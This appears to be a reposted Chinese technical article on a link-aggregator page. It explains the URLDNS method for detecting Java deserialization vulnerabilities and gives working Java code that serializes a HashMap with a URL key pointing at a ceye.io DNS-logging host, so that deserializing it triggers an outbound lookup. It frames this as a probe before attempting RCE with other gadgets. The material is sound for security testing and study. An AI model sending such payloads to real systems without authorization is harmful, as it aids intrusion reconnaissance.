

通过HashMap触发DNS检测Java反序列化漏洞
source link: https://www.tuicool.com/articles/2E7Bje3
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

我们常说的反序列化漏洞一般是指readObject()方法处触发的漏洞,而除此以外针对不同的序列化格式又会产生不同的出发点,比如说fastjson会自动运行setter,getter方法。之后又有各种RMI,JNDI姿势去执行命令。现在常见的黑盒检测Java反序列化方式就是执行命令API,比如用一个gadget去执行nslookup xxx 最终通过服务器记录去判断。
但这种方式可能出现的一种问题是,你选择测试的gadget服务器正好没这个jar包或者更新过了,但却有另一个存在漏洞的jar包。这时候单一的gadget构造出的执行命令payload就会漏报。所以为了解决这种问题这里分享一个通过HashMap结合URL触发DNS检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。之后再用各种gadget去尝试试RCE。
HashMap readObject & URLStreamHandler hashCode
HashMap最早出现在JDK 1.2中,底层基于散列算法实现。而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的。所以对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。因此,HashMap实现了自己的writeObject和readObject方法。
因为是研究反序列化问题,所以我们来看一下它的readObject方法

前面主要是使用的一些防止数据不一致的方法,我们可以忽视。主要看putVal时候key进入了hash方法,跟进看
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
这里直接调用了key的hashCode方法。那么我们现在就需要一个类hashCode可以执行某些东西即可。
很幸运的我们发现了URL类,它有一个有趣的特点,就是当执行hashCode方法时会触发当前URLStreamHandler的hashCode方法。
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
我们可以继续跟进
protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null) h += host.toLowerCase().hashCode(); } // Generate the file part. String file = u.getFile(); if (file != null) h += file.hashCode(); // Generate the port part. if (u.getPort() == -1) h += getDefaultPort(); else h += u.getPort(); // Generate the ref part. String ref = u.getRef(); if (ref != null) h += ref.hashCode(); return h; }
主要就是这句代码了
InetAddress addr = getHostAddress(u);


很简单,就是这里最后触发了DNS查询。
也就是说我们现在思路是通过hashmap放入一个URL的key然后会触发DNS查询。这里需要注意一个点,就是在URLStreamHandler的hashCode方法中首先进行了一个缓存判断即如果不等于-1会直接return。
if (hashCode != -1) return hashCode;
因为在生成hashMap put时候会调用到hashCode方法,所以会缓存下来,即hashcode不为-1。所以为了让被接收者触发DNS查询,我们需要先通过反射把hashcode值改为-1,绕过缓存判断。
Field field = u.getClass().getDeclaredField("hashCode"); field.setAccessible(true); field.set(u,-1);
最后生成的代码为
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj")); String url="http://1us794.ceye.io"; HashMap hashMap = new HashMap(); // HashMap that will contain the URL URL u = new URL(url); // URL to use as the Key hashMap.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Field field = u.getClass().getDeclaredField("hashCode"); field.setAccessible(true); field.set(u,-1); oos.writeObject(hashMap); oos.flush(); oos.close();
测试代码
ObjectInputStream ois=new ObjectInputStream(new FileInputStream("object.obj")); ois.readObject();
调用栈


可以看到触发成功


ysoserial已经有加入这个方式 具体可见: https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
参考:
Recommend
-
31
通过mysql jdbc 反序列化触发的 SpringBoot RCE 新利用方法 在整理 SpringBoot 通过暴露的 /env 接口进行 RCE 的多种利用方法时,发现 /env 接口暴露的大部分...
-
11
0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是Shiro的该漏洞也是用的比较频繁的漏洞。本文对...
-
7
基础知识 反射型XSS:恶意脚本来自当前HTTP请求。 存储型XSS:恶意脚本来自网站的数据库。 基于DOM的XSS:漏洞存在于客户端代码而不是服务器端代码中 HTTP参数污染(HPP): HTTP参数污染会污染Web应用程序的HTTP参数...
-
7
Jager · 1月13日 · 2015年360网站卫士 · 网站挂马 ·
-
19
通过给开源项目提交 PR 然后触发 CI 流程的方式获取敏感信息 ...
-
5
摘要:在本文中将先介绍java反序列化漏洞的原理,然后在此基础上介绍安全工具如何检测、扫描此类漏洞。 本文分享自华为云社区《
-
5
Java的漏洞中,最出名的漏洞莫过于Java反序列化漏洞了。 Java的序列化和反序列化序列化是一个将对象转化成字节流的过程。在Java中,序列化可以通过objectOutputStream类的
-
7
Time'BlogJava反序列化-shiro-550反序列化漏洞(四)发表于2022-01-22|更新于2022-01-25|代码审计
-
7
流行的ICS平台的关键漏洞可能触发RCE-51CTO.COM 流行的ICS平台的关键漏洞可能触发RCE 作者:~阳光~ 2022-07-27 11:58:46 ...
-
12
用户坐过山车或触发iPhone14车祸检测:疯狂拨打紧急求救电话 财经网科技10月10日讯,据网易科技消息,苹果在 9...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK